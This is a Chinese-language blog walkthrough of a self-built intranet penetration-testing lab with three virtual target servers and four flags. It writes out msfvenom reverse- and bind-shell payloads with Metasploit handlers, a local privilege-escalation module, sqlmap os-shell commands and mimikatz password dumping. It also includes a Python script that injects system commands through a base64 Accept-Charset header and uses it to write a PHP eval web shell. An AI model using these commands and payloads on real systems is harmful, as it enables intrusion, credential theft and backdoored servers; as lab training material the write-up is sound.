1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 完整的渗透测试靶场通关

完整的渗透测试靶场通关

时间:2022-04-29 08:27:03

相关推荐

完整的渗透测试靶场通关

完整的渗透测试实例

作者:Slaine 编辑日期:.6.6

流程目录

前言

记得在初就通关的这个的内网渗透靶场,只不过做完很久都后没怎么管,然后就去某CTF站刷了好一阵子题,排名从两万刷到了两百。

记得刷完CTF题后又是各种考试,过了好一阵子才有时间把这个内网渗透的笔记总结(.6.6)。

一年后的现在暑假(.7)开始了,整理个人知识技能时感觉学了很多很多,也走了很多很多弯路,感觉比较乱,所以今后会不断以文章形式整理整理自己的笔记和技能树,鉴于这是当年第一个流程比较正式的笔记,也所以找出来作为第一篇文章发表.

当年截图,自娱自乐一下留作回忆吧

正文

环境搭建

将三台靶机:WEB服务器*2、数据库服务器部署到VM虚拟机中

靶场完整示意图

虚拟机网段布置知识:有道云笔记 ()

VM虚拟机中设置10.10.10.0和10.10.1.0两个内网段

检测同网段的机子可以相互ping通

IIS网站池和DNS解析池共同在靶机上搭建的网站

网关绑定

本身将IP和域名添加到hosts即可实现访问靶机网站,在本地网络连接的网关中绑定靶机IP后,即使去掉hosts的相关信息也可以达到访问网站的目的(只有需要火狐的隐私模式才能访问)

渗透操作流程:

探寻内网主机

netdiscover

命令:netdiscover -i eth0 -r 192.168.0.0/24

端口扫描

masscan

端口信息探测

nmap

穷举子域名

命令:wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u -H “Host:” --hw 53

域名new.

Py脚本注入得后台密码

对象:

利用dedecms 的版本注入漏洞写出Python脚本进行注入获取管理员网站登录密码

812df726be884ddcfc41 MD5解码后为 admin7788 为后台管理登录密码

成功登录后台

有了管理密码后成功登录网站后台

发现从后台上传的一句话木马不能执行,应该是没有路径权限

所以先上传小马来探测路径

小马探测

小马探测有上传和执行权限的文件路径

上传大马

大马用处很多,待会会配合使用到

使用蚁剑管理网站

连接上蚁剑后可以执行很多操作,不过这次项目中我们会用到其他方法

Metasploit的会话连接与提权

对象:

//这里开启靶机后由之前的192.168.31.85改分配为192.168.31.86了,不过问题不大,把靶机文件里DNS解析和主机网关分配修改成86后仍正常操作

反弹shell链接

(1)msf通过反弹shell建立连接会话

操作流程

msfvenom -p windows/meterpreter/reverse_tcp lhost=kali机ip lport=要开放的端口 -f exe >SL(文件名称).exe//生成exe文件进入msfmsf > use exploit/multi/handlermsf(handler) > set payload windows/meterpreter/reverse_tcpmsf(handler) > set lhost xxxxxx (kali机本地ip)msf(handler) > set lport xxxxxx //(这两项和生成文件的命令信息需一致)msf(handler) > run执行生成的exe文件,开始反弹

在大马里上传并执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bQl4fQ9o-1657886068852)( https://tuchuang-images001-1304277438.cos.ap-/images/image-0604110549947.png)]

建立会话成功,不过现在还是普通用户(cc123)权限,需要提权

提权到system

前提是用ASPXSpy.aspx反弹连接是cc123用户meterpreter连接成功后meterpreter > backgroundmsf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggestermsf5 post( multi/recon/local_exploit_suggester) > set session xxshow options 看一下run在很多备用选项中选择use exploit/windows/local/ms16_075_reflection_juicyset session xxset lport 4444 (很重要)run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WFol8DYX-1657886068854)( https://tuchuang-images001-1304277438.cos.ap-/images/image-0604111048627.png)]

提权成功,获取到最高system权限

域名ww2.

网站后台目录扫描

对象:

扫描结果中找到需要的后台管理界面

对后台登录

BP对管理系统爆破(方法一)

BP抓包发现验证码可重复利用,可以进行密码爆破(此步骤为可选项,不过本次操作中用其他方法达到登录目的)

SQL注入绕过密码(方法二)

原理:SQL注入的漏洞,通过注释去掉密码,直接利用已有的admin账户的账号登录

XSS后台注入漏洞

存在XSS注入漏洞

注释:可以通过XSS注入在管理员登录时获取其cookie

Sqlmap测试和搜集详细信息

在网站后台页面BP抓包

抓包后将其放入kali的文件中,使用salmap

注意:要在kali机的hosts文件中加入靶机IP和域名才能用sqlmap扫描

sqlmap -r sqll --dbms mssql -v 1 --batch //测试注入信息sqlmap -r sqll --dbms mssql -v 1 --dbs// 列出库名sqlmap -r sqll --dbms mssql -v 1 -D ** --tables //列出**库中的表名sqlmap -r sqll --dbms mssql -v 1 -D ** -T $$ --dump //列出**库中的$$表里面的内容sqlmap -r sqll --dbms mssql -v 1 --os-shell//获取 mssql shell//注:这里把为BP抓包的网页请求信息放的文件这里取名为sqll(名字无所谓)

操作展示:

获取站点下的库名
获取指定库里的所有表名
获取库的表里的关键信息(账密)
建立shell链接获取服务器信息

获取 mssql shell 以及 利用sqlmap建立的链接 获取SQLSERVER 服务器信息

查看网络和端口运行情况
大致推断内网域结构

结论:从搜集到的 服务器IP信息 和 初始靶机 不一致,推算目标为站库分离结构,含至少两台服务器

(站库分离:程序跟数据库不在一个服务器 让这个数据服务器更加的安全 数据更加安全)

192.168.31.86/10.10.10.144为A靶机(站点页面资料存放)

10.10.1.144/10.10.10.147为B靶机(站点数据库存储)

10.10.1.146为最终目标靶机

查看为最高权限

.net审计

//继续项目,这时kali机ip又从192.168.31.14变成192.168.31.15了…比较无语,重新连上msf和提权

下载附件,可以利用ILSpy进行代码审计

ww2.程序密文解密

在下载的文件中找出加密程序代码,并结合VS制作解密小工具

解密结果

目标: 后台管理系统账户 密码admin cc123cc123 qweasd123

后台的重复利用验证码漏洞可用BP进行密码爆破(不过都解密出了,这次项目中没必要)

内网信息深入收集

获取网关和哈希信息

解析获取明文密码

使用mimikatz获取明文之前先进行进程迁移到vmtoolsd.exe中,避免使用mimikatz解析出现乱码

注意:不要迁移到权限为administrator的语句里(相当于降权),应当迁移到同等级system权限且64位的的任务进程里

migrate ****

迁移后要导入mimikatz(好像每次会话都要单独导入一次mimikatz)

load mimikatz//导入mimikatz_command -f samdump::hashes //解析哈希值mimikatz_command -f sekurlsa::searchPasswords //解析明文密码wdigesttspkg

操作界面

解析出超管权限账密

添加路由和代理设置

代理配置文件后端口探测

vim /etc/proxychains.conf

修改proxychains.conf文件中127.0.0.1 的端口也为3333后,可以执行代理端口扫描

sqlmap获取的shell不是交互式shell我们通过之前的aspx大马连接数据库上传一个正向shell进行连接

查取库账密

查看Web.config文件获取账号密码

<add key="ConnectionString" value="server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123.." />

对数据库B靶机渗透

msf生成shell

msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe > bind.exe //生成shelluse exploit/multi/handlerset payload windows/meterpreter/bind_tcpset RHOST 10.10.10.134set lport 13777

结合大马执行shell建立会话

先利用刚才得到的账密

server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..;database=master

登录MYSQL数据库

注意上传路径!一定要是可以执行64位程序的路径(因为这里msf生成的shell是64位,这里选择的路径是C:\Program Files)只有这样才能成功上传并执行

成功建立正向会话

排坑:这里我们如果不指定路径则大马在上传shell中故障,若指定路径不正确,则会导致无法正常上传和执行

举个栗子

(错误的上传路径c:/ZX.exe)

开启上帝视角对错误进行分析

目标机B靶机

无法执行

正确操作的结果是ZX.exe文件上传到C:\Program Files并成功执行会话

试了几次好像有时能成功上传执行,有时不能,有点玄学?

mimikatz解析密文

平权迁移进程

migrate ****

这里我们可以和之前一样提权然后获取密文

对目标C靶机渗透

添加路由

run autoroute -s 10.10.1.0/24

彩帽设置代理

检验正常

代理访问网站

表示代理成功

构造Py脚本

#conding:utf-8import requestsimport sysimport base64shell = "system('"+sys.argv[1]+"');"shell_base64 = base64.b64encode(shell.encode('utf-8'))header={'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}def exploit(url):html = requests.get(url=url,headers=header).textreturn htmlurl = "http://10.10.1.157/" //目标C靶机的ipprint(exploit(url))

写入一句话木马

proxychains python3 py.py "echo ^<?php @eval(\$_POST[\"slaine\"])?^>>c:\phpstudy\WWW\shell.php"

成功链接

最高权限

菜刀上传正向连接的shell

成功链接,且为最高权限

会话汇总

内网渗透完成

flag获取

flag1

flag2

flag3

flag4

收工。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。